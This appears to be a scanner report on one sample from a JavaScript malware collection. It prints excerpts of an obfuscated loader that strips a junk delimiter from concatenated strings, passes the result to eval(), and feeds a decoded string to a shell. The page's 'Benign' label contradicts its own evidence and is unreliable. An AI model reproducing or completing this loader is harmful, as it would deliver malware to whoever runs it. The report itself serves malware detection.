Benign javascript-malware-collection Download

20170427_661f88e902e0c22a88ef8c53517193ec.js

eval() executing transformed codeCalls eval() with an identifier argument

SHA-2568d9f07303307300fa69a36b221699dae36f798435597af28ebabb36d5440bf9c

Evidence

Many long string literals concatenated in source lines 1–30

1var PWbHcohUjVMyBnmwCvf = 'GJpWSFwRVsYtUhiOuBNMecoDln'+
2'XPEC'+
3'vGJpWSFwRVsYtUh'+
4'iOuBNMecoDlnXPECar PGJpWSFwRVsYtUhiO'+
5'uBNMecoDlnXPECIHG'+
6'J'+
7'pWS'+
8'FwRVsYtUhi'+
9'OuBNMecoDlnXPECGGJpWSFwRVsYtUhiOuBNMecoDlnXPECCGJpWSFwR'+
10'VsYtUhiOu'+
11'BNMecoDl'+
12'nXPECwGJpWSFwRV'+
13'sYtUhiOuBNMecoDlnXPECSGJpWSFwRVsYtUhiOuBNMecoDlnXPECLGJpWSFwRVsYtUhiOuBNM'+
14'ecoDlnXP'+
15'EClGJpWSFw'+
16'RV'+
17'sYtU'+
18'hiOuBNMecoDlnXPECWhGJpWSFw'+
19'RVsYtUhiOuBNMecoDlnXPECfGJpWS'+
20'FwR'+
21'VsYtUhiOuBNMecoDlnXPECJpRGJpWSFwRVsYtUhiOuBNMecoDlnXPECeGJpWSFwRVsYtUhiOuBNMecoDlnXPECqsGJp'+
22'WSFwRVsYtUhiOuBNMecoD'+
23'lnX'+
24'PEC GJpWSF'+
25'wRVsYtUhiOuBNMecoDlnXPEC= GJpWSFwR'+
26'VsYtUhiOuBNMecoDlnXPECnGJpWSFwRVsYtUhiOuBNM'+
⋯4 lines

Dense concatenated string fragments lines 46–56

46:42… V'+
47'sYtUhiOuBNMecoDlnXPEC'+
48'IGJpWSFwRVsYtUhiOuBNMecoDlnX'+
49'PECOGJpWSFwRVsYtUhiO'+
50'uBNM'+
51'ecoDlnXPECN'+
⋯5 lines

Joins values without a separator lines 514–519

514:15… RvEqrjMwfcFaAT(gjlyFCpsAORKXUGhLe, LMyQkogEupxIXDTR) { 
515return gjlyFCpsAORKXUGhLe.split(LMyQkogEupxIXDTR).join(""); }
516var cYoVvBXxTbwjgGPsIqp = eval(XOyVnRvEqrjMwfcFaAT(PWbHcohUjVMyBnmwCvf, "GJpWSFwRVsYtUhiOuBNMecoDlnXPEC"));
517if (FQGRNaLqikoBUvTsD() == false) {
518var HPdwCzgUSIhEaDtvb = 
519"Ch-Cy-dCoC+-xqhvf-d-sCh+%C-y-CdC-u-(53zvk-(C-53(6G(5-3CqC-hz …

Pipeline terminates in a shell lines 558–560

558:4… p-(-5HCR-CsCh"+
559"Cq-C-(5-;C(-5C-<C-(6-E-C-(5-3VwuCh-dCp(5-H-CWC|sh(-C53C(-6C-G(5-C3C-(6-4(-6-E-(5-C3V-wCuChd-p"+
560"(-5-HZu-C-lwh(C5C;-K-W-WCS(-5HCUhv-Csr-Cq-vhCE-r-gC|(5C-<-C(6-EC-(-5-3-(3G(-3DC …

JavaScript eval executes a variable argument lines 573–574

573:148… CtKwIhYaMQ (eYLsKMrogNxafAlpJzk); }}
574var wiNjQAMGboIVhSfmRDu = eval(EDpwxKqFkBOUnXcGLe); }